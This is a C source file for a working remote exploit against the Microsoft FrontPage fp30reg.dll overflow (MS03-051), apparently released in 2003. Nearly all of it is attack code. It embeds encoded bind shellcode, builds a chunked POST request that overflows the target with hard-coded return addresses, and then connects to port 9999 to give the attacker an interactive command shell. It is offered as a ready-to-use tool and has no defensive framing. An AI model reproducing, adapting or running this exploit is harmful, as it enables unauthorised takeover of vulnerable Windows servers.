/*******************************************************************************

Frontpage fp30reg.dll Overflow (MS03-051) discovered by Brett Moore

Exploit by Adik < netmaniac [at] hotmail.kg >

Binds persistent command shell on port 9999
Tested on       
      Windows 2000 Professional SP3 English version 
      (fp30reg.dll ver 4.0.2.5526)      

Greetingz/Salamchiki: fellaz in Bishkek - r0ach,acha,horsemoon :)

-[ 13/Nov/2003 ]-
********************************************************************************/


#include <stdio.h>
#include <string.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")
#define RECVTIMEOUT    15
#define VER    "0.2"  

/******** bind shellcode spawns persistent shell on port 9999 *****************************/
unsigned char kyrgyz_bind_code[] = {
  0xEB, 0x03, 0x5D, 0xEB, 0x05, 0xE8, 0xF8, 0xFF, 0xFF, 0xFF, 0x8B, 0xC5, 0x83, 0xC0, 0x11, 0x33,
  0xC9, 0x66, 0xB9, 0xC9, 0x01, 0x80, 0x30, 0x88, 0x40, 0xE2, 0xFA,
  0xDD, 0x03, 0x64, 0x03, 0x7C, 0x09, 0x64, 0x08, 0x88, 0x88, 0x88, 0x60, 0xC4, 0x89, 0x88, 0x88, 
  0x01, 0xCE, 0x74, 0x77, 0xFE, 0x74, 0xE0, 0x06, 0xC6, 0x86, 0x64, 0x60, 0xD9, 0x89, 0x88, 0x88, 
  0x01, 0xCE, 0x4E, 0xE0, 0xBB, 0xBA, 0x88, 0x88, 0xE0, 0xFF, 0xFB, 0xBA, 0xD7, 0xDC, 0x77, 0xDE, 
  0x4E, 0x01, 0xCE, 0x70, 0x77, 0xFE, 0x74, 0xE0, 0x25, 0x51, 0x8D, 0x46, 0x60, 0xB8, 0x89, 0x88, 
  0x88, 0x01, 0xCE, 0x5A, 0x77, 0xFE, 0x74, 0xE0, 0xFA, 0x76, 0x3B, 0x9E, 0x60, 0xA8, 0x89, 0x88, 
  0x88, 0x01, 0xCE, 0x46, 0x77, 0xFE, 0x74, 0xE0, 0x67, 0x46, 0x68, 0xE8, 0x60, 0x98, 0x89, 0x88, 
  0x88, 0x01, 0xCE, 0x42, 0x77, 0xFE, 0x70, 0xE0, 0x43, 0x65, 0x74, 0xB3, 0x60, 0x88, 0x89, 0x88, 
  0x88, 0x01, 0xCE, 0x7C, 0x77, 0xFE, 0x70, 0xE0, 0x51, 0x81, 0x7D, 0x25, 0x60, 0x78, 0x88, 0x88, 
  0x88, 0x01, 0xCE, 0x78, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x92, 0xF8, 0x4F, 0x60, 0x68, 0x88, 0x88, 
  0x88, 0x01, 0xCE, 0x64, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x25, 0xA6, 0x61, 0x60, 0x58, 0x88, 0x88, 
  0x88, 0x01, 0xCE, 0x60, 0x77, 0xFE, 0x70, 0xE0, 0x6D, 0xC1, 0x0E, 0xC1, 0x60, 0x48, 0x88, 0x88, 
  0x88, 0x01, 0xCE, 0x6A, 0x77, 0xFE, 0x70, 0xE0, 0x6F, 0xF1, 0x4E, 0xF1, 0x60, 0x38, 0x88, 0x88, 
  0x88, 0x01, 0xCE, 0x5E, 0xBB, 0x77, 0x09, 0x64, 0x7C, 0x89, 0x88, 0x88, 0xDC, 0xE0, 0x89, 0x89, 
  0x88, 0x88, 0x77, 0xDE, 0x7C, 0xD8, 0xD8, 0xD8, 0xD8, 0xC8, 0xD8, 0xC8, 0xD8, 0x77, 0xDE, 0x78, 
  0x03, 0x50, 0xDF, 0xDF, 0xE0, 0x8A, 0x88, 0xAF, 0x87, 0x03, 0x44, 0xE2, 0x9E, 0xD9, 0xDB, 0x77, 
  0xDE, 0x64, 0xDF, 0xDB, 0x77, 0xDE, 0x60, 0xBB, 0x77, 0xDF, 0xD9, 0xDB, 0x77, 0xDE, 0x6A, 0x03, 
  0x58, 0x01, 0xCE, 0x36, 0xE0, 0xEB, 0xE5, 0xEC, 0x88, 0x01, 0xEE, 0x4A, 0x0B, 0x4C, 0x24, 0x05, 
  0xB4, 0xAC, 0xBB, 0x48, 0xBB, 0x41, 0x08, 0x49, 0x9D, 0x23, 0x6A, 0x75, 0x4E, 0xCC, 0xAC, 0x98, 
  0xCC, 0x76, 0xCC, 0xAC, 0xB5, 0x01, 0xDC, 0xAC, 0xC0, 0x01, 0xDC, 0xAC, 0xC4, 0x01, 0xDC, 0xAC, 
  0xD8, 0x05, 0xCC, 0xAC, 0x98, 0xDC, 0xD8, 0xD9, 0xD9, 0xD9, 0xC9, 0xD9, 0xC1, 0xD9, 0xD9, 0x77, 
  0xFE, 0x4A, 0xD9, 0x77, 0xDE, 0x46, 0x03, 0x44, 0xE2, 0x77, 0x77, 0xB9, 0x77, 0xDE, 0x5A, 0x03, 
  0x40, 0x77, 0xFE, 0x36, 0x77, 0xDE, 0x5E, 0x63, 0x16, 0x77, 0xDE, 0x9C, 0xDE, 0xEC, 0x29, 0xB8, 
  0x88, 0x88, 0x88, 0x03, 0xC8, 0x84, 0x03, 0xF8, 0x94, 0x25, 0x03, 0xC8, 0x80, 0xD6, 0x4A, 0x8C, 
  0x88, 0xDB, 0xDD, 0xDE, 0xDF, 0x03, 0xE4, 0xAC, 0x90, 0x03, 0xCD, 0xB4, 0x03, 0xDC, 0x8D, 0xF0, 
  0x8B, 0x5D, 0x03, 0xC2, 0x90, 0x03, 0xD2, 0xA8, 0x8B, 0x55, 0x6B, 0xBA, 0xC1, 0x03, 0xBC, 0x03, 
  0x8B, 0x7D, 0xBB, 0x77, 0x74, 0xBB, 0x48, 0x24, 0xB2, 0x4C, 0xFC, 0x8F, 0x49, 0x47, 0x85, 0x8B, 
  0x70, 0x63, 0x7A, 0xB3, 0xF4, 0xAC, 0x9C, 0xFD, 0x69, 0x03, 0xD2, 0xAC, 0x8B, 0x55, 0xEE, 0x03, 
  0x84, 0xC3, 0x03, 0xD2, 0x94, 0x8B, 0x55, 0x03, 0x8C, 0x03, 0x8B, 0x4D, 0x63, 0x8A, 0xBB, 0x48, 
  0x03, 0x5D, 0xD7, 0xD6, 0xD5, 0xD3, 0x4A, 0x8C, 0x88
};

void cmdshell (int sock);
long gimmeip(char *hostname);

int main(int argc,char *argv[])
{     
    WSADATA wsaData;
    struct sockaddr_in targetTCP;
    fd_set fds;
    //struct hostent *host;
    struct timeval tv;
    int sockTCP,s,switchon;
    unsigned short port = 80;
    long ip;
    unsigned char header[]=  "POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1\r\n";
        unsigned char packet[3000],data[1500];                    
    unsigned char ecx[] = "\xe0\xf3\xd4\x67";
    unsigned char edi[] = "\xff\xd0\x90\x90";    
    unsigned char call[] = "\xe4\xf3\xd4\x67";//overwrite .data section of fp30reg.dll
    unsigned char shortjmp[] = "\xeb\x10";
    
    printf("\n-={ Frontpage fp30reg.dll Overflow Exploit (MS03-051) ver %s }=-\n\n"
           " by Adik < netmaniac [at] hotmail.KG >\n http://netninja.to.kg\n\n", VER);
    if(argc < 2)
    {
      
      printf(" Usage: %s [Target] <port>\n"
          " eg: fp30reg.exe 192.168.63.130\n\n",argv[0]);
      return 1;      
    }    
    if(argc==3)
      port = atoi(argv[2]);          
        WSAStartup(0x0202, &wsaData);        
    printf("[*] Target:\t%s \tPort: %d\n\n",argv[1],port);
    ip=gimmeip(argv[1]);  
        memset(&targetTCP, 0, sizeof(targetTCP));
    memset(packet,0,sizeof(packet));
        targetTCP.sin_family = AF_INET;
        targetTCP.sin_addr.s_addr = ip;
        targetTCP.sin_port = htons(port);        
    sprintf(packet,"%sHost: %s\r\nTransfer-Encoding: chunked\r\n",header,argv[1]);    
    memset(data, 0x90, sizeof(data)-1);
    data[sizeof(data)-1] = '\x0';
    memcpy(&data[16],edi,sizeof(edi)-1);
    memcpy(&data[20],ecx,sizeof(ecx)-1);    
    memcpy(&data[250+10],shortjmp,sizeof(shortjmp)-1);
    memcpy(&data[250+14],call,sizeof(call)-1);    
    memcpy(&data[250+70],kyrgyz_bind_code,sizeof(kyrgyz_bind_code));
    sprintf(packet,"%sContent-Length: %d\r\n\r\n%x\r\n%s\r\n0\r\n\r\n",packet,strlen(data),strlen(data),data);    
        if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
        printf("[x] Socket not initialized! Exiting...\n");
        WSACleanup();
                return 1;
    }
    printf("[*] Socket initialized...\n");          
    if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
    {
      printf("[*] Connection to host failed! Exiting...\n");
      WSACleanup();
      exit(1);
    }     
    printf("[*] Checking for presence of fp30reg.dll...");
    if (send(sockTCP, packet, strlen(packet),0) == -1)
    {
        printf("[x] Failed to inject packet! Exiting...\n");
        WSACleanup();
                return 1;
    }    
    memset(packet,0,sizeof(packet));  
    switchon=1;
    ioctlsocket(sockTCP,FIONBIO,&switchon);  
    tv.tv_sec = RECVTIMEOUT;
    tv.tv_usec = 0;
    FD_ZERO(&fds);
    FD_SET(sockTCP,&fds);  
    if((select(sockTCP+1,&fds,0,0,&tv))>0)
    {
      recv(sockTCP, packet, sizeof(packet),0);
      if(packet[9]=='1' && packet[10]=='0' && packet[11]=='0')
        printf(" Found!\n");
      else
      {
        printf(" Not Found!! Exiting...\n");
        WSACleanup();        
        return 1;
      }
    }
    else
    {
        printf("\n[x] Timeout! Failed to receive packet! Exiting...\n");
        WSACleanup();
                return 1;
    }        
    switchon=0;
    ioctlsocket(sockTCP,FIONBIO,&switchon);    
    printf("[*] Packet injected!\n");
    closesocket(sockTCP);
    printf("[*] Sleeping ");
    for(s=0;s<13000;s+=1000)
    {
      printf(". ");
      Sleep(1000);
    }    
    printf("\n[*] Connecting to host: %s on port 9999",argv[1]);
    if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
        printf("\n[x] Socket not initialized! Exiting...\n");
        WSACleanup();
                return 1;
    }    
    targetTCP.sin_family = AF_INET;
        targetTCP.sin_addr.s_addr = ip;
        targetTCP.sin_port = htons(9999);
    if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
    {
      printf("\n[x] Exploit failed or there is a Firewall! Exiting...\n");
      WSACleanup();
      exit(1);
    } 
    printf("\n[*] Dropping to shell...\n\n");
    cmdshell(sockTCP);
        return 0;
}
/*********************************************************************************/
void cmdshell (int sock)
{
 struct timeval tv;
 int length;
 unsigned long o[2];
 char buffer[1000];
 
 tv.tv_sec = 1;
 tv.tv_usec = 0;

 while (1) 
 {
  o[0] = 1;
  o[1] = sock;  

  length = select (0, (fd_set *)&o, NULL, NULL, &tv);
  if(length == 1)
  {
    length = recv (sock, buffer, sizeof (buffer), 0);
    if (length <= 0) 
    {
      printf ("[x] Connection closed.\n");
      WSACleanup();
      return;
    }
    length = write (1, buffer, length);
    if (length <= 0) 
    {
      printf ("[x] Connection closed.\n");
      WSACleanup();
      return;
    }
  }
  else
  {
    length = read (0, buffer, sizeof (buffer));
    if (length <= 0) 
    {
      printf("[x] Connection closed.\n");
      WSACleanup();
      return;
    }
    length = send(sock, buffer, length, 0);
    if (length <= 0) 
    {
      printf("[x] Connection closed.\n");
      WSACleanup();
      return;
    }
  }
}

}
/*********************************************************************************/
long gimmeip(char *hostname) 
{
  struct hostent *he;
  long ipaddr;
  
  if ((ipaddr = inet_addr(hostname)) < 0) 
  {
    if ((he = gethostbyname(hostname)) == NULL) 
    {
      printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
      WSACleanup();
      exit(1);
    }
    memcpy(&ipaddr, he->h_addr, he->h_length);
  }  
  return ipaddr;
}
/*********************************************************************************/